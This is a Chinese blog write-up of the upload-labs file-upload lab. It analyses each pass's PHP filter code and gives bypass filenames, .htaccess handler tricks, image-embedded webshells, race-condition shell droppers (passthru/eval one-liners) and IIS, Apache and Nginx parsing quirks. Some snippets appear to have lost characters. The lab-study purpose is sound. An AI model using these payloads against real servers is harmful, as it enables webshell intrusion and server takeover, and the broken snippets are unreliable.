前言
暑假闲着也是闲着,去年这个时候刷完了 sqli-labs
,今年想着来刷一下 upload-labs
而这次重点不在于题解,而在于总结与归纳
首先我们得明确一点,即上传的过程
而 burp
的位置在
前端校验
对于前端的校验,上述流程图已经很清晰了,抓包即可破解,所以说前端的校验只能用于提示用户,想要保住安全性是自欺欺人的一种方式
例如 upload-labs
的 pass-01
Pass-01
第一关没有什么好说的,只是一个javascript的检测 而js的检测只能位于client,所以这里利用burp抓包改包就可以绕过,不需要分析了 甚至可以
改掉这里的 checkFile()
即可
后端代码校验
在对上传的文件进行分析的时候,后端的php代码的不严谨,过滤不严格将会引起各种突破方式 下面以upload-labs的题进行分析
代码语言:javascript复制Pass-02:content-type问题
Pass-03:黑名单绕过(pht,phtml,phps.....)
Pass-04:.htaccess上传
Pass-05:后缀大小写问题
Pass-06:空格未过滤问题
Pass-07:dot处理不严谨
Pass-08:::$DATA
Pass-09:Pass-06与Pass-07的组合使用
Pass-10:双写后缀绕过问题
Pass-11: 截断问题(get)
Pass-12:0x00截断问题(post)
这里我选择从源码分析,而非黑盒测试
因为一些上传的 trick
想必大家都见过,但是为什么这样可以绕过,这就需要从源码分析
知其然,知其所以然。
Pass-02
我们分析关键的代码
代码语言:javascript复制if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];
$is_upload = true;
}
可以看到,这里只校验了 http header
里的 content-type
,同样抓包修改即可 bypass
Pass-03
还是关键代码
代码语言:javascript复制if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name'];
$is_upload = true;
}
不难看到这里使用的是黑名单模式 而过滤非常的少
代码语言:javascript复制$deny_ext = array('.asp','.aspx','.php','.jsp');
所以我们利用的方法有多种,但是有先决条件
solution1
首先如果 apache httpd.conf
中有如下一句
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
等等 那么我们可以更改后缀名绕过
solution2
如果发现并不能解析
代码语言:javascript复制phtml .phps .php5 .pht......
那么我们还能尝试使用 .htaccess
这里需要
1.mod_rewrite模块开启
2.AllowOverride All
方法: 在apache下http.conf改配置:
代码语言:javascript复制AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so
然后上传的 .htaccess
方式也是多样的
1.上传内容为
<FilesMatch "sky233">
SetHandler application/x-httpd-php
</FilesMatch>
此时即可上传 sky233
内容可被解析为 .php
2.上传内容为
AddType application/x-httpd-php .jpg
此时即可上传 sky233.jpg
内容可被解析为 .php
Pass-04
关键过滤
代码语言:javascript复制$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
可以看到依旧没有
代码语言:javascript复制.htaccess
所以利用上述该类方法,可以有效绕过
Pass-05
将代码与第4题相比对
明显发现多了一个
代码语言:javascript复制.htaccess
并且没有将文件后缀转小写的代码了
于是这里显然可以用大小写绕过,例如 Php
Pass-06
继续与第五题比对
发现第六题删去了将文件名前后去空格的操作 所以可以利用
代码语言:javascript复制123.php(空格)
去绕过
Pass-07
继续和第六题比对(左6右7)
发现没有去处文件末尾的点的操作了 于是利用
代码语言:javascript复制sky.php.
可以绕过
Pass-08
左8右7
发现这里删掉了 ::$DATA
的限制
漏洞参考
代码语言:javascript复制https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream
所以使用
代码语言:javascript复制sky.php::$DATA
即可
Pass-09
关键代码如下:
代码语言:javascript复制if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . '/' . $file_name;
$is_upload = true;
}
虽然有去末位点和去首位空格的操作 但是并不是循环处理的 所以可以这样构造
代码语言:javascript复制sky.php. .
这样经过一轮处理后,变为
代码语言:javascript复制sky.php.
剩下的道理如同Pass-07一样 可以轻松绕过
Pass-10
关键代码如下
代码语言:javascript复制if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $file_name)) {
$img_path = UPLOAD_PATH . '/' .$file_name;
$is_upload = true;
}
我们发现关键点位于
代码语言:javascript复制$file_name = str_ireplace($deny_ext,"", $file_name);
代码并未循环过滤,于是存在
代码语言:javascript复制sky.pphphp
这样的绕过
Pass-11
代码关键点在于
代码语言:javascript复制if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".") 1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
我们容易发现关键点
代码语言:javascript复制$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
这里的路径我们可控
代码语言:javascript复制$_GET['save_path']
于是不难想到利用
代码语言:javascript复制../upload/sky.php
这样的payload 但是后面会自动拼接后缀 于是想到常见的 截断即可 payload
代码语言:javascript复制../upload/sky.php
Pass-12
只是单纯的改成了post形式 不再做多余的分析
图片渲染解析问题
确保用户上传的是真实图片而非恶意文件,图片的解析也是一个重要的问题 但这里一般需要打组合拳 即利用文件包含/php伪协议 图片上传 而这里只要求我们上传带有小马的图片即可
代码语言:javascript复制Pass-13:unpack()
Pass-14:getimagesize()
Pass-15:exif_imagetype()
Pass-16:imagecreatefromjpeg()
以上函数基本上用图片隐写就可以bypass 即
代码语言:javascript复制copy normal.jpg /b shell.php /a webshell.jpg
或是jpg图片FFD9后加小马
Pass-13
这里的任务是要求传一个带有小马的图片
这里简单的添加到jpg图片末位FFD9后就行了 但这里的利用一般要配合文件包含,但是题目的要求到这里就结束了
Pass-14
利用
代码语言:javascript复制$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
获取图像类型,绕过方法同Pass-13
Pass-15
代码语言:javascript复制function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
这里用了 exif_imagetype()
去判断文件类型
同样用Pass-13的方法可以绕过
Pass-16
代码语言:javascript复制$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";}
这里使用了 imagecreatefromjpeg()
来判断文件类别
同样可用Pass-13的方法绕过
条件竞争问题
有时候你上传的文件,服务端会将其删除或是重命名 这里就需要用到条件竞争的方式 方式也很简单 即用Burp不断上传,再用burp不断访问 一般常见的上传内容为
代码语言:javascript复制<?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>
这样在你访问到的同时,就会在当前目录写下一个shell,下次就不用竞争利用了 这里有一道很经典的题目(N1CTF-hard php)
代码语言:javascript复制http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/
利用phpinfo中上传的tmp文件,条件竞争,进行文件包含,getshell 以及PHP_SESSION_UPLOAD_PROGRESS的条件竞争,包含getshell的问题
代码语言:javascript复制http://skysec.top/2018/03/12/N1CTF-2018-Web/#easy-php
这里额外提一句:对于条件竞争,有时候存在非预期 例如:
代码语言:javascript复制-a
同样出自N1CTF(hard-php)
代码语言:javascript复制https://xz.aliyun.com/t/2148
这样的文件一般情况无法删除的问题 还有比较常用的可让unlink不运行
代码语言:javascript复制/.
绕过的问题
PHP底层问题
Pass-19
关键代码如下
代码语言:javascript复制if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}
}
这里可以直接使用
代码语言:javascript复制sky.php/.
去绕过
访问
具体原因来自于
代码语言:javascript复制move_uploaded_file()
该函数会递归删除文件名最后的 /.
详细分析可看
http://wonderkun.cc/index.html/?p=626
http://pupiles.com/由一道ctf题引发的思考.html
类似的函数,上述师傅的blog已经有提及,我就不再赘述,毕竟他们都是跟过底层的大佬XD
畸形解析
上述方法都不行?试试畸形解析吧!
IIS 6.0
IIS 6.0解析利用方法有三种:
1.目录解析
建立 xx.asp
为名称的文件夹,将asp文件放入,访问 /xx.asp/xx.jpg
,其中 xx.jpg
可以为任意文件后缀,即可解析
2.文件解析
后缀解析: /xx.asp;.jpg /xx.asp:.jpg
(此处需抓包修改文件名)
3.默认解析
IIS6.0 默认的可执行文件除了asp还包含这三种
/wooyun.asa
/wooyun.cer
/wooyun.cdx
IIS 7.0/7.5
在正常图片URL后添加 /.php 小马如下
代码语言:javascript复制<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>
Apache
后缀解析: test.php.x1.x2.x3
Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析
test.php.x1.x2.x3
则会被解析为php
Nginx<8.03
法1:同 IIS7.0/7.5
法2: xxx.jpg .php
后记
上传的可能存在的问题有很多,由于入行未深,浅尝辄止,若各位大佬有更好的奇淫技巧,敬请补充!
参考链接
http://www.sostan.com/hk/webhackiis7/ http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/ https://xz.aliyun.com/t/2148 https://github.com/LandGrey/upload-labs-writeup https://blog.csdn.net/u010726042/article/details/78037696 http://wonderkun.cc/index.html/?p=626 http://pupiles.com/由一道ctf题引发的思考.html